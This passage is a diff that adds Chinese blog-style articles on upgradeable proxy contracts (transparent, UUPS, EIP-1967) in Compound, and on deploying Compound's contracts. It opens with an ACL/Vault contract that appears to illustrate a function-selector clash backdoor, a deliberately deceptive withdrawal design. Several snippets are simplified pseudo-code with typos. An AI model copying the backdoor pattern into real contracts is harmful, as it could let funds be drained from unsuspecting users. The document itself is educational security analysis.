+    function setACLRole8972381298910001230(address _role) public {
+        require(msg.sender == role7123909213907581092);
+        role8972381298910001230 = _role;
+    }
+
+    function setACLRole5999294130779334338(address _role) public {
+        require(msg.sender == role8972381298910001230);
+        role5999294130779334338 = _role;
+    }
+    
+}
+
+
+contract Vault {
+
+    ACL private acl;
+
+    function setACL(ACL _upgradeableAcl) public {
+        require(acl == address(0));
+        acl = _upgradeableAcl;
+    }
+
+    function () public payable {
+    }
+    
+    function balance() public view returns (uint256) {
+        return address(this).balance;
+    }
+
+    function withdraw() public payable {
+        require(balance() > msg.value);
+        require(msg.value > balance() - msg.value);
+        require(msg.sender == acl.getACLRole8972381298910001230());
+        acl.getACLRole5999294130779334338().transfer(balance());
+    }
+}
+```
+
+具体的分析文章，请见我的另一篇博文，有针对性的分析。
+
+### **透明代理合约**
+
+为了解决升级管理函数中提到的函数选择器碰撞问题，openzeppelin提出了透明代理合约。即在fallback函数和proxy中的其他函数中添加一个路由，以此确定合约的正确调用。确保用户只能够调用代理合约中的fallback函数，而admin不能够调用代理合约中的fallback函数，用户在调用到代理合约的其他函数时，会被自动转向到fallback函数中去。
+
+```
+//proxy contract
+contract adminUpgradeableProxy{
+ address public admin;
+ address public impl;
+ constrctor(address _admin, address _impl) {}
+ fallback() external payable{
+  require(msg.sender != admin);
+ }
+ function owner() public {
+        if (msg.sender != admin) {
+            fallback();
+        }
+        require(msg.sender == admin);
+        return proxy.owner();
+    }
+    function upgradeTo(address _impl) public {
+        if (msg.sender != admin) {
+            fallback();
+        }
+        require(msg.sender == admin);
+        impl = _impl;
+    }
+}
+// impl contract
+contract impl{
+    address public admin;
+ address public impl;
+    function owner() public {
+        return erc20.owner();
+    }
+    function transfer() public {
+        erc20.transfer();
+    }
+}
+```
+
+| msg.sender    | owner()               | upgradeto()    | transfer()             |
+| --------------- | ----------------------- | ---------------- | ------------------------ |
+| Admin         | returns proxy.owner() | upgrades proxy | reverts                |
+| Other account | returns erc20.owner() | reverts        | sends erc20.transfer() |
+
+很多合约都使用透明代理合约，如[dYdX](https://github.com/dydxprotocol/perpetual/blob/99962cc62caed2376596da357a13f5c3d0ea5e59/contracts/protocol/PerpetualProxy.sol), [PoolTogether](https://github.com/pooltogether/pooltogether-pool-contracts/tree/6b7eba5c610a61e4e44f8df95fdf3d1d2f1e0fa5/.openzeppelin), [USDC](https://github.com/centrehq/centre-tokens/tree/b42cf04b31639b8b05d53fea9995954d5f3659d9/contracts/upgradeability), [Paxos](https://github.com/paxosglobal/pax-contracts/tree/2650b8049f2f1fe53ebb3f5a0979241c4da9f1a5#upgradeability-proxy), [AZTEC](https://github.com/AztecProtocol/AZTEC/blob/cb78ba3ee32ad82234ac0fbed046333eb7f233cf/packages/protocol/contracts/AccountRegistry/AccountRegistryManager.sol#L62-L66), and [Unlock](https://github.com/unlock-protocol/unlock/blob/5d3ed7519e3fe3c75ef7220468d7a8ae716db194/smart-contracts/contracts/Unlock.sol#L30)等。然而，这种合约升级模式有一个缺陷是：每一次调用时，都有一个sload的操作，因为要求msg.sender != admin。这提高了操作的gas费用。
+
+### **UUPS通用可升级代理合约**
+
+EIP1822定义了一个通用的可升级代理合约标准，UUPS。与透明代理合约不同，其合约升级逻辑放在了Impl实现合约侧，而不是代理合约侧。UUPS也使用delegatecall
+![image20210801110817854.png](https://img.learnblockchain.cn/attachments/2021/08/A3Dn65uI610613efebc6f.png)
+
+简单来讲，UUPS的设计思想是：在proxy合约中，将impl的地址固定的存储在一个slot插槽中。在impl方面，设计一个可代理合约UUPSProxiable，其主要作用是更新该slot插槽中的impl地址的值。然后，所有的impl合约都继承自UUPSProxiable 合约。
+
+```
+contract UUPSProxy{
+    constructor(bytes memory constructData, address contractLogic) public {
+        assembly { // solium-disable-line
+            sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, contractLogic)
+        }
+        (bool success,) = contractLogic.delegatecall(constructData); 
+        require(success, "Construction failed");
+    }
+	fallback() external payable{
+        //0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7
+		bytes32 slot = keccak256("PROXIABLE");
+		assembly{
+			let to := sload(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7)
+			let in_offset := mload(0x40)
+			let in_size := calldatasize()	
+            		calldatacopy(in_offset, 0, in_size)
+			switch delegatecall(gas(),to,in_offset,in_size,0,0)
+			case 0 {
+				returndatacopy(in_offset, 0, returndatasize())
+				revert(in_offset, returndatasize())
+			}
+			case 1 {
+				returndatacopy(in_offset,0,returndatasize())
+				return(in_offset, returndatasize())
+			}
+		}
+	}
+}
+contract UUPSProxiable{
+	function updateCodeAddress(address _impl) internal {
+		require(keccak256("PROXIABLE") == UUPSProxiable(_impl).proxiableUUID());
+		assembly{
+			sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, _impl)
+		}
+	}
+	function proxiableUUID() public pure returns (bytes32) {
+		return keccak256("PROXIABLE");
+	}
+}
+contract UUPSImpl is UUPSProxiable{
+    ...
+}
+```
+
+该种设计有如下优点：
+
+首先，通过在逻辑实现合约上定义所有函数，它可以依靠 Solidity 编译器来检查任何函数选择器的冲突。此外，代理的大小要小得多，使部署成本更低。它还在每次调用中减少从存储中的读取，增加了更少的开销。
+
+这种模式有一个主要的缺点：
+
+如果代理合约proxy被升级到一个不能实现可升级功能的实现，即没有继承UUPSProxiable合约，它就会被锁定在那个实现上，不再可能改变它。一些开发者倾向于保持可升级逻辑的不可变性，以防止这些问题，而这样做的最佳位置是在代理本身。
+
+### **代理存储冲突和非结构化存储**
+
+在所有的代理模式变体中，代理合约proxy至少需要一个状态变量来保存执行合约地址。默认情况下，Solidity在智能合约存储中按顺序存储变量：第一个声明的变量到零号槽，下一个到一号槽，以此类推（映射和动态大小的数组是这个规则的例外）。这意味着，在接下来的代理合约中，其实现地址将被保存到存储槽0。
+
+然而，若逻辑合约impl也有一个全局变量同样位于存储槽0，则调用impl.slot_0其实质是修改了proxy合约的slot_0的值，从而发生了impl合约和proxy合约的储存冲突。
+
+```
+contract Proxy{
+ address public owner;
+ address public impl;
+ fallback() external payable{}
+ function updateTo(address _impl) external {}
+}
+contract Impl{
+ uint256 public value_0;
+ uint256 public value_1;
+ function modify() public {
+  value_0 = 0; // 由于是delegatecall, 此时的owner会被设置为0；
+ }
+}
+```
+
+最简单的解决存储冲突是在Impl合约中，添加与代理合约一样的全局变量，并保证添加的位置和顺序。即
+
+```
+contract Impl{
+ address public owner;
+ address public impl;
+ uint256 public value_0;
+ uint256 public value_1;
+ function modify() public {
+  value_0 = 0; // 此时就不会与owner冲突
+ }
+}
+```
+
+但是这样做的缺点也很明显：添加了多余的不需要的全局变量。并且降低了重复利用率，且容易遗忘出错。
+
+为了解决这个问题，OpenZeppelin提出了非结构化存储的解决方案，即设定一个固定的slot用于存储impl地址，与合约中的其他全局变量顺序无关。
+
+在EIP-1967中，该固定的slot地址被标准化为：
+
+逻辑合约地址：0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
+
+```
+bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
+```
+
+信标合约地址：0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50
+
+```
+bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)
+```
+
+Admin地址：0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
+
+```
+bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)
+```
+
+这使得像Etherscan这样的浏览器可以很容易地识别这些代理（因为任何在这个非常具体的插槽中具有类似地址值的合同都很可能是一个代理），并解析出逻辑合约地址。
+
+### **Append-only的存储合约**
+
+不同版本的实现合约Impl中，如何保证全局变量的存储插槽不被破坏？使用append-only 存储合约。
+
+合约升级带来了另一个关于存储的挑战，不是在代理proxy和impl之间，而是在两个不同版本的impl之间。让我们假设我们有以下部署在代理后面的实现impl：
+
+```
+contract OwnedBox_V1 {
+    address owner;
+    uint256 number;
+    function setValue(uint256 newValue) public {
+        require(msg.sender == owner);
+        number = newValue;
+    }
+}
+contract OwnedBox_V2 {
+    uint256 number;
+    address owner;
+…
+}
+```
+
+这显示了智能合约升级的一个主要限制：虽然可以任意改变合约的代码，但只能对其状态变量做与存储兼容的改变。诸如**重新排序变量** 、**插入新的变量** 、**改变变量的类型** 、甚至**改变合约的继承链** 等操作都有可能破坏存储。**唯一安全的改变是将状态变量追加到任何现有的变量之后。**
+
+一个解决该问题的开发实践是使用append-only的储存合约。在该种模式下，状态存储在单独的存储合约中，并且只能追加，不允许删除。Impl合约则继承该存储合约，以便于使用相应的状态。然后，每次需要增加一个新的状态变量时，都可以扩展存储合约。Solidity保证变量在存储中的排列取决于继承链的顺序，所以从合约中扩展来添加一个新的变量可以确保它被附加在现有变量之后。作为一个例子，Compound使用这种模式来改变他们的Comptroller合约。
+
+```
+contract UnitrollerAdminStorage {
+ address public admin;
+    address public pendingAdmin;
+    address public comptrollerImplementation;
+    address public pendingComptrollerImplementation;
+}
+contract ComptrollerV1Storage is UnitrollerAdminStorage {
+    PriceOracle public oracle;
+    uint public closeFactorMantissa;
+    uint public liquidationIncentiveMantissa;
+    uint public maxAssests;
+    mapping(address => CToken[]) public accountAssets;
+}
+contract ComptrollerV2Storage is ComptrollerV1Storage {
+    struct Market{
+        bool isListed;
+        uint collateralFactorMantissa;
+        mapping(address => bool) accountMembership;
+        bool isComped;
+    }
+    mapping(address => Market) public markets;
+    address public pauseGuardian;
+    bool public _mintGuardianPaused;
+    bool public _borrowGuardianPaused;
+    bool public transferGuardianPaused;
+    bool public seizeGuardianPaused;
+    mapping(address => bool) public mintGuardianPaused;
+    mapping(address => bool) public borrowGuardianPaused;
+}
+contract ComptrollerV3Storage is ComptrollerV2Storage {
+    struct CompMarketState{
+        uint224 index;
+        uint32 block;
+    }
+    CToken[] public allMarkets;
+    uint public compRate;
+    mapping(address => uint) public compSpeeds;
+    mapping(address => CompMarketState) public compSupplyState;
+    mapping(address => CompMarketState) public compBorrowState;
+    mapping(address => mapping(address => uint)) public compSupplierIndex;
+ mapping(address => mapping(address => uint)) public compBorrowerIndex;
+    mapping(address => uint) public compAccrued;
+}
+contract ComptrollerV4Storage is ComptrollerV3Storage {
+    address public borrowCapGuardian;
+    mapping(address => uint) public borrowCaps;
+}
+contract ComptrollerV5Storage is ComptrollerV4Storage {
+    mapping(address => uint) public compContributorSpeeds;
+ mapping(address => uint) public lastContributorBlock;
+}
+```
+
+不过这种方法有一个很大的缺点：继承链中的所有合约都必须遵循这种模式，以防止混淆。包括来自外部库的合约，它们定义了自己的状态。
+
+这种定义的方法还有一个问题，即如果我们想要更改baseStorage合约的变量个数就会导致后面继承该baseStorage合约的所有变量的存储位置发生改变，因为solidity在编排变量存储在EVM的插槽时，是按照abi.encodePacked方式。（map和不定长数组除外）。
+
+一个解决方案是在baseStorage中预先留下dummy变量，用于占位便于后续使用。
+
+### **逻辑实现合约Impl的缺点和初始化函数**
+
+Impl合约最大的缺点就是不能使用constructor！这一点在我之前的文章：https://learnblockchain.cn/article/2663 和 https://learnblockchain.cn/article/2697 有详细的分析
+
+> 但这里需要明确一点，通过构造函数constructor()实现合约的初始化和通过initialize()实现合约的初始化有什么区别：
+> 最大的区别是构造函数constructor()实现合约初始化仅初始化一次，且在合约创建时发生，合约创建好之后无法再次调用该构造函数。而通过initialize()实现合约初始化，则可以在任意时候调用，需要自己写逻辑保证合约只能初始化一次，而无法保证该方法不再被调用。根本原因是合约编译好的字节码中，构造函数相关的字节码在init-code 中，不在runtime code中。而自定义的initialize()方法存在于runtime code中，可被反复调用
+
+一个关键问题是如何保证initializer函数只被调用一次，而不是反复调用？
+
+第一种思路：使用全局变量initialized。这种思路是最简单的思路，如果该合约没有被初始化过，则调用initialzer函数进行初始化，并且标记initialized=true. 如果该合约已经被初始化过，即initialized=true, 则当调用initializer函数时就会revert
+
+```
+bool public initialized = false;
+function initialize(address _admin) public {
+ requrire(!initialized);
+ admin = _admin;
+ initialized = true;
+}
+```
+
+第二种思路：compound中使用的思路：在cToken合约中，其初始化函数initialize通过判断目前累计的区块数目为0，且借贷指数为0来判断是否已经初始化过了。
+
+```
+function initialize(ComptrollerInterface comptroller_,
+                        InterestRateModel interestRateModel_,
+                        uint initialExchangeRateMantissa_,
+                        string memory name_,
+                        string memory symbol_,
+                        uint8 decimals_) public {
+    require(msg.sender == admin, "only admin may initialize the market");
+    require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once");
+    borrowIndex = mantissaOne;
+}
+```
+
+### **钻石代理多个逻辑合约**
+
+这种模式首先在OpenZeppelin实验室作为vtable的可升级性进行了探索，直到由Nick Mudge在EIP2535中以Diamond Contract的名义进行了标准化，目前被nayms等项目使用。在这个版本中，代理不是存储一个单一的实现地址，而是存储一个从函数选择器到实现地址的映射。当它收到一个调用时，它会查找一个内部映射（类似于动态调度中使用的vtable），以检索哪些逻辑合同为所请求的函数提供了实现。
+
+![img](https://i1.wp.com/blog.openzeppelin.com/wp-content/uploads/2020/09/graph-05.png?resize=840%2C420&ssl=1)img
+
+### **用信标同时进行升级**
+
+![img](https://i2.wp.com/blog.openzeppelin.com/wp-content/uploads/2020/09/graph-04.png?resize=840%2C420&ssl=1)img
+
+## **Compound中可升级合约的使用**
+
+compound业务中有两大块使用了代理合约，不一定是可升级合约，但是我们会按照可升级合约的思路来分析一下。
+
+### **InteretsModel板块**
+
+如上面分析，这部分其实是不算是可升级合约，它通过设计模式中的策略模式，定义了一个接口：InterestRateModel，在接口中规定了两个函数：
+
+```
+getBorrowRate(uint cash, uint borrows, uint reserves) 
+getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa)
+```
+
+然后不同的策略，如WhitePaperInterestRateModel，JumpRateModel，BaseJumpRateModelV2，JumpRateModelV2，DAIInterestRateModelV3，LegacyJumpRateModelV2等都实现了该接口，并实现了规定的两个函数。从而在cToken的initialize函数中，通过设置InterestRateModel接口对应的实际处理逻辑合约地址，从而实现多种不同的策略应用到不同的cToken中。
+
+### **CToken板块**
+
+![image20210801093442358.png](https://img.learnblockchain.cn/attachments/2021/08/aCFDgsg36106140767a95.png)
+
+CErc20Delegator.sol合约是一个proxy，其impl合约是CErc20Delegate合约。其合约升级模式仍然是通过合约升级管理函数进行。
+
+```
+//简单来看cErc20Delegator.sol的逻辑应该与Unitroller类似
+contract CErc20Delegator {
+    address public admin;
+    address public implementation;
+    constructor(address underlying_,
+                ComptrollerInterface comptroller_,
+                InterestRateModel interestRateModel_,
+                uint initialExchangeRateMantissa_,
+                string memory name_,
+                string memory symbol_,
+                uint8 decimals_,
+                address payable admin_,
+                address implementation_,
+                bytes memory becomeImplementationData) 
+     public 
+    {
+     //在初始化过程中，msg.sender 是 admin
+        admin = msg.sender;
+        //调用Impl具体实现逻辑合约的initialize函数
+        delegateTo(implementation_, abi.encodeWithSignature(
+            "initialize(address,address,address,uint256,string,string,uint8)",
+            underlying_,
+            comptroller_,
+            interestRateModel_,
+            initialExchangeRateMantissa_,
+            name_,
+            symbol_,
+            decimals_       
+        ));
+        //设置具体实现合约的地址
+        _setImplementation(implementation_, false, becomeImplementationData);
+        //初始化结束后，将admin 变为 admin_
+        admin = admin_;        
+    }
+    //设置具体实现合约Impl的地址
+    function _setImplementation
+            (address implementation_, 
+             bool allowResign, 
+             bytes memory becomeImplementationData) 
+        public
+    {
+        require(msg.sender == admin);
+        implementation = implementation_;
+        delegateTo(implementation, abi.encodeWithSigature(
+         "_becomeImplementation(bytes)",
+            becomeImplementationData
+        ));
+        
+    }
+    fallback() external payable {
+        address _to = implementation;
+        assembly{
+            let to := _to
+            let ptr := mload(0x40)
+            let in_size := calldatasize()
+            calldatacopy(ptr,0,in_size)
+            swtich delegatecall(gas(),to,ptr,in_size,0,0)
+            case 0 {
+             returndatacopy(ptr,0,returndatasize())
+                revert(ptr,returndatasize())
+            }
+         case 1 {
+          returndatacopy(ptr,0,returndatasize())
+                return(ptr,reutrndatasize())
+            }
+        }
+    }
+}
+```
+
+从上面的分析可以看到，其实cErc20Delegator也是采用了跟unitroller一样的合约升级模式，即通过合约升级管理函数来实现。但是，在其具体的实现中，有如下几个难点需要我们仔细理解：
+
+#### **难点1：staticcall与delegatecall**
+
+纵观cErc20Delegator，会发现其与Unitroller还是不一样。Unitorller除开set admin和set impl地址的函数，其他函数都会走fallback，远程调用逻辑合约。但是cErc20Delegator合约中，compound自己实现interface中的部分函数，虽然每个函数还是使用的是delegateTo逻辑。那compound为什么要这样做呢？因为它认为一些**view** 函数，就不应该直接使用delegatecall这一opcode，而应该使用staticcall加上delegatecall, 以防止状态改变。如：
+
+```
+function balanceOf(address owner) external view returns (uint) {
+    bytes memory data = 
+        delegateToViewImplementation(abi.encodeWithSignature("balanceOf(address)", owner));
+    return abi.decode(data, (uint));
+}
+function delegateToViewImplementation(bytes memory data) 
+ public 
+    view 
+    returns (bytes memory) 
+{
+    (bool success, bytes memory res) = address(this).staticcall(abi.encodeWithSignature(
+        "delegateToImplementation(bytes)",
+        data
+    )); 
+    //可以简单的写成：require(success);
+    //但是为了让出错信息也返回到堆栈中，我们需要手动写出revert逻辑
+    assembly{
+        if eq(success, 0) {
+           revert(add(res,0x20),returndatasize()) 
+        } 
+    }
+    return abi.decode(res,(bytes));
+}
+```
+
+针对staticcall与call，delegatecall的区别，简单来说就是staticcall不允许存在状态改变，即它不允许：`create,create2,LOG0-4,sstore,selfdestruct`等opcode，可以参考我之前写的文章：https://learnblockchain.cn/article/2705
+
+> 通过EIP-214得知，`staticcall`的本质是严禁修改任何地址，合约的状态，即不允许使用`create,create2,LOG0-4,sstore,selfdestruct`等OPCODE以及ETH的转账。而`call`则允许状态修改。
+
+#### **难点2：复杂继承关系后的存储分布**
+
+与Unitroller的存储不同，Unitroller使用了非常清晰的Append-only存储合约UnitrollerAdminStorage等，cErc20Delegator合约的继承关系如下：
+
+```
+CErc20Delegator is CTokenInterface, CErc20Interface, CDelegatorInterface
+CTokenInterface is CTokenStorage
+CErc20Interface is CErc20Storage
+CDelegatorInterface is CDelegationStorage
+contract CTokenStorage {
+ bool internal _notEntered;
+    string public name;
+    string public symbol;
+  uint8 public decimals;
+    address payable public admin;
+    address payable public pendingAdmin;
+    ComptrollerInterface public comptroller;
+    InterestRateModel public interestRateModel;
+    uint internal initialExchangeRateMantissa;
+    uint public reserveFactorMantissa;
+    uint public accrualBlockNumber;
+    uint public borrowIndex;
+    uint public totalBorrows;
+    uint public totalReserves;
+    uint public totalSupply;
+    mapping (address => uint) internal accountTokens;
+    mapping (address => mapping (address => uint)) internal transferAllowances;
+    mapping(address => BorrowSnapshot) internal accountBorrows;
+}
+contract CErc20Storage {
+    address public underlying;
+}
+contract CDelegationStorage {
+    address public implementation;
+}
+```
+
+因为delegatecall,我们同时需要保证impl合约的储存分布要与proxy的储存分布一致。下面我们看下cErc20delegate的储存分布：
+
+```
+CErc20Delegate is CErc20, CDelegateInterface
+CErc20 is CToken, CErc20Interface
+CToken is CTokenInterface, Exponential, TokenErrorReporter
+=> [CTokenInterface, Exponential, TokenErrorReporter, CErc20Interface, CDelegateInterface]
+由于Exponential, TokenErrorReporter中不涉及存储，故可以省略
+=> [CTokenInterface, CErc20Interface, CDelegateInterface] 与proxy中一致
+CTokenInterface is CTokenStorage
+CErc20Interface is CErc20Storage
+CDelegatorInterface is CDelegationStorage
+```
+
+故我们详细分析proxy和impl的存储分布时发现其继承逻辑顺序一致，且存储分布一致，满足delegatecall的要求。
+
+#### **难点3：_becomeImplementation的理解**
+
+在CErc20Delegate合约中，出现了函数_becomeImplementation，其代码如下。
+
+```
+function _becomeImplementation(bytes memory data) public {
+    // Shh -- currently unused
+    data;
+ // Shh -- we don't ever want this hook to be marked pure
+    if (false) {
+        implementation = address(0);
+    }
+    require(msg.sender == admin, "only the admin may call _becomeImplementation");
+}
+```
+
+里面的data和if(false)非常让人难以理解。
+
+在Trail of Bits的2019.8.16日的审计文章中，提到了这一点。if(false)的目的是让solidity在编译该函数的时候不使用staticcall这一opcode，而是使用call。
+
+第一个data，就是简单的不适用该数据。也即是说_becomeImplementation这一函数其实只是简单的检查了一下`msg.sender==admin`而已。
+
+### **Comptroller板块**
+
+Comptroller被实现为一个可升级的代理。Unitroller把所有的逻辑都代理给了Comptroller的实现，但是存储值是在Unitroller上设置的。为了调用Comptroller的功能，在Unitroller地址上使用Comptroller的ABI。
+
+如上面分析：Unitroller是一个典型的使用合约升级管理函数的可升级合约的代理proxy部分。问题的关键在于Comptroller的实现部分。
+
+在compound中，Comptroller的实现一共有如下8个版本：ComptrollerG1，ComptrollerG2，ComptrollerG3，ComptrollerG4，ComptrollerG5，ComptrollerG6，ComptrollerG7，Comptroller
+
+通过对比代码Comptroller和ComptrollerG7，可以发现基本类似，改动了部分逻辑，故可以认为Comptroller是ComptrollerG8, 也就是目前正在使用的Comptroller逻辑。
+![image20210731215209342.png](https://img.learnblockchain.cn/attachments/2021/08/m6nJ0STK6106141b38a34.png)
+
+在compound中，要实现由ComptrollerG1升级到ComptrollerG2，其具体的升级步骤为：
+
+```
+//admin 调用Unitroller中的_setPendingImplementation方法，将ComptrollerG2的地址填入
+//admin 调用ComtrollerG2中的_become函数，同意成为Unitroller代理的逻辑实现合约Impl
+```
+
+在compound中，实现ComtrollerG1成为Unitroller代理合约的实际逻辑处理合约Impl的步骤为：
+
+```
+function deployComptrollerG1(address _unitroller, address _comptrollerG1) {
+//admin 调用Unitroller中的_setPendingImplementation方法，将ComptrollerG1的地址填入
+    Unitroller(_unitroller)._setPendingImplementation(_comtrollerG1);
+//admin 调用ComtrollerG1中的_become函数，同意成为Unitroller代理的逻辑实现合约Impl    
+ ComtrollerG1(_comtrollerG1)._become(_unitroller,_closeFactorMantissa,_maxAssets,false);
+}
+```
+
+下面我们分析下ComptrollerG1._become函数究竟在干嘛：
+
+```
+function _become(Unitroller unitroller, 
+                  PriceOracle _oracle, 
+                  uint _closeFactorMantissa, 
+                  uint _maxAssets, 
+                  bool reinitializing)
+  public 
+{
+    require(msg.sender == unitroller.admin(), "only unitroller admin can change brains");
+    uint changeStatus = unitroller._acceptImplementation();
+    require(changeStatus == 0, "change not authorized");
+
+    if (!reinitializing) {
+        //实例化代理合约Unitroller,后面的一切状态改变最终都发生在Unitroller地址上
+        ComptrollerG1 freshBrainedComptroller = ComptrollerG1(address(unitroller));
+        // Ensure invoke _setPriceOracle() = 0
+        uint err = freshBrainedComptroller._setPriceOracle(_oracle);
+        require (err == uint(Error.NO_ERROR), "set price oracle error");
+        // Ensure invoke _setCloseFactor() = 0
+        err = freshBrainedComptroller._setCloseFactor(_closeFactorMantissa);
+        require (err == uint(Error.NO_ERROR), "set close factor error");
+        // Ensure invoke _setMaxAssets() = 0
+        err = freshBrainedComptroller._setMaxAssets(_maxAssets);
+        require (err == uint(Error.NO_ERROR), "set max asssets error");
+        // Ensure invoke _setLiquidationIncentive(liquidationIncentiveMinMantissa) = 0
+        err = freshBrainedComptroller._setLiquidationIncentive(liquidationIncentiveMinMantissa);
+        require (err == uint(Error.NO_ERROR), "set liquidation incentive error");
+    }
+}
+```
+
+从代码中，我们可以看到ComptrollerG1合约并不要求只被初始化一次，反而是只验证了是admin发出，且存在成为Impl的请求。也就是说可以多次初始化同一个Comptroller合约。反而是ComptrollerG1的合约中，定义了一些属于admin的方法，其为公开方法，并且可以多次访问。如：`_setPriceOracle，_setCloseFactor，_setCollateralFactor,_setMaxAssets,_setLiquidationIncentive,_supportMarket,_become`等方法，我们在看下ComptrollerG1对应的存储内容：
+
+| 方法                     | 存储内容                                          |
+| -------------------------- | --------------------------------------------------- |
+| _setPriceOracle          | oracle                                            |
+| _setCloseFactor          | closeFactorMantissa                               |
+| _setLiquidationIncentive | liquidationIncentiveMantissa                      |
+| _setMaxAssets            | maxAssets                                         |
+|                          | mapping(address => CToken[]) public accountAssets |
+| _setCollateralFactor     | mapping(address => Market) public markets         |
+| _supportMarket           | mapping(address => Market) public markets         |
+
+在compound中，要实现由ComptrollerG1升级到ComptrollerG2，其具体的升级步骤为：
+
+```
+function upgradeTo(address _unitroller, address _comptrollerG2) public {
+    Unitroller unitroller = Unitroller(_unitroller);
+    require(msg.sender == unitroller.admin());
+//admin 调用Unitroller中的_setPendingImplementation方法，将ComptrollerG2的地址填入
+    unitroller._setPendingImplementation(_comtrollerG2);
+//admin 调用ComtrollerG2中的_become函数，同意成为Unitroller代理的逻辑实现合约Impl 
+    ComtrollerG2(_comptrollerG2)._become(unitroller);
+}![CompoundFinanceGuide.jpg](https://img.learnblockchain.cn/attachments/2021/08/TNVZnvof610613cc8cec2.jpg)
+```
+
+原文链接：https://mp.weixin.qq.com/s/Fv9k6bYhniHiHH5j8sINxA
+
+关注我的公众号，让我更有动力去更新文章 :)
+也可以在公众号后面留言，看你感兴趣的主题是啥，然后我来写。
+
+![image20210723193312815.png](https://img.learnblockchain.cn/attachments/2021/08/P6fdxLXG61061466d42e1.png)
diff --git "a/defi/Compound/contract/Compound\345\220\210\347\272\246\351\203\250\347\275\262.md" "b/defi/Compound/contract/Compound\345\220\210\347\272\246\351\203\250\347\275\262.md"
new file mode 100644
index 000000000..77c74bd40
--- /dev/null
+++ "b/defi/Compound/contract/Compound\345\220\210\347\272\246\351\203\250\347\275\262.md"
@@ -0,0 +1,522 @@
+# Compound 合约部署
+
+最近一直再研究Compound的代码，compound能够经历牛熊成长为借贷龙头，它的合约逻辑代码上面有非常多值得学习的地方。鉴于此前一直只是再看代码，缺少了一步实际跑代码的过程，感觉学习Compound时，始终有点缺憾。故今天就详细记录下Compound合约的部署步骤，以飨读者。
+![合约部署](../images/contract-deploy.png)
+
+> 可以点击链接查看原文：https://t.1yb.co/A8CX
+> 也顺便关注我一下：微信号woodward1993, 我的公众号：bug合约写手，涨粉涨粉:)
+
+## Compound合约结构
+
+![image20210806213621528.png](https://img.learnblockchain.cn/attachments/2021/08/dSF3VlvK612b37856ce92.png)
+
+从上面的图片可以看到，Compound中含有的合约代码量还是很大的，文件数量30+。故再部署前，我们需要先梳理清楚各个合约之间的关系，并将其分组，梳理出各个模块，及初始化参数。
+
+为简单起见，我们采取渐进式部署法 :laughing:, 即每一步都只把主要逻辑代码跑起来，不相关的合约就不部署。
+
+## 小目标：最小可运行
+
+分析如上图，最小可运行的合约至少应该包括：comptorller模块，ctoken模块，InterestRate模块，PriceOracle模块以及辅组合约模块。
+
+#### comptroller模块
+
+在comptorller模块部署中，我们选择ComptorllerG1， 因为G1是Comptorller的第一个版本，参数最少
+
+| 模块            | 文件              | 初始化参数 | 初始化步骤                                 |
+| --------------- | ----------------- | ---------- | ------------------------------------------ |
+| comptroller模块 | Unitroller.sol    | NA         | `_setPendingImplementation(comptrollerG1)` |
+|                 | ComptrollerG1.sol | NA         | `_become()`                                |
+
+注意：再comptorller模块中，需要终端用户调用的函数为enterMarkets，故上述调用完成后还需要手动调用enterMarkets函数.
+
+在初始化过程中，最重要的一点是想清楚comptroller._become应该是谁来调用？一种误解是使用unitroller,即代理合约来调用该become方法，因为所有的数据都保存在代理合约中。但实际上在compound设计中，unitroller是代理合约，comptroller是逻辑实现合约，通过delegatecall来实现远程合约调用。
+
+> 最简单的一种方式是在Proxy代理合约中，增加一个管理函数，让管理员来设置逻辑实现合约的地址。compound中也使用了这一模式，在unicontroller合约中，它添加了 转移Proxy所有权的函数，其impl合约需要接受转移，以防止意外地升级到无效的合同。
+
+```js
+unitroller = new Unitroller();
+comptroller = new ComptrollerG1();
+unitrollerProxy = ComptrollerG1(address(unitroller));
+
+unitroller._setPendingImplementation(address(comptroller));
+
+unitrollerProxy._setPriceOracle(priceOracle);
+unitrollerProxy._setCloseFactor(500000000000000000);
+unitrollerProxy._setMaxAssets(20);
+unitrollerProxy._setLiquidationIncentive(1080000000000000000);
+
+unitrollerProxy._supportMarket(CToken(address(cUni)));
+```
+
+Comptroller模块部署完成后，系统的存储变化：
+
+```js
+Unitroller {
+    address public admin => alice;
+    address public pendingAdmin => address(0);
+    address public comptrollerImplementation => address(ComptrollerG1);
+    address public pendingComptrollerImplementation => address(0);
+    PriceOracle public oracle => address(SimplePriceOracle);
+    uint public closeFactorMantissa => 500000000000000000;
+    uint public liquidationIncentiveMantissa => 1080000000000000000;
+    uint public maxAssets => 20;
+    // msg.sender => [cUni]
+    mapping(address => CToken[]) public accountAssets;
+    struct Market {
+        bool isListed;
+        uint collateralFactorMantissa;
+        mapping(address => bool) accountMembership;
+    }
+    //cUni => (true, 600000000000000000, {msg.sender:true})
+    mapping(address => Market) public markets;
+}
+```
+
+#### priceOracle模块
+
+此处只需要部署测试用的simplePriceOracle部分，compound中关于pricefeed的合约留在后续部署：
+
+| 模块            | 文件                  | 初始化参数 | 初始化步骤 |
+| --------------- | --------------------- | ---------- | ---------- |
+| priceOracle模块 | SimplePriceOracle.sol | NA         | NA         |
+
+```js
+SimplePriceOracle priceOracle = new SimplePriceOracle();
+priceOracle.setUnderlyingPrice(cUni, 1e18);
+```
+
+#### interestRate模块，
+
+此处只需要部署最简单的WhitePaperInterestRateModel部分，其他的利率模型留待下次部署
+
+| 模块             | 文件                            | 初始化参数                                                 | 初始化步骤                       |
+| ---------------- | ------------------------------- | ---------------------------------------------------------- | -------------------------------- |
+| InterestRate模块 | WhitePaperInterestRateModel.sol | `baseRate=50000000000000000 multiplier=120000000000000000` | constructor(baseRate,multiplier) |
+
+```js
+WhitePaperInterestRateModel whitePaper = new WhitePaperInterestRateModel(50000000000000000,120000000000000000);
+```
+
+#### cToken模块
+
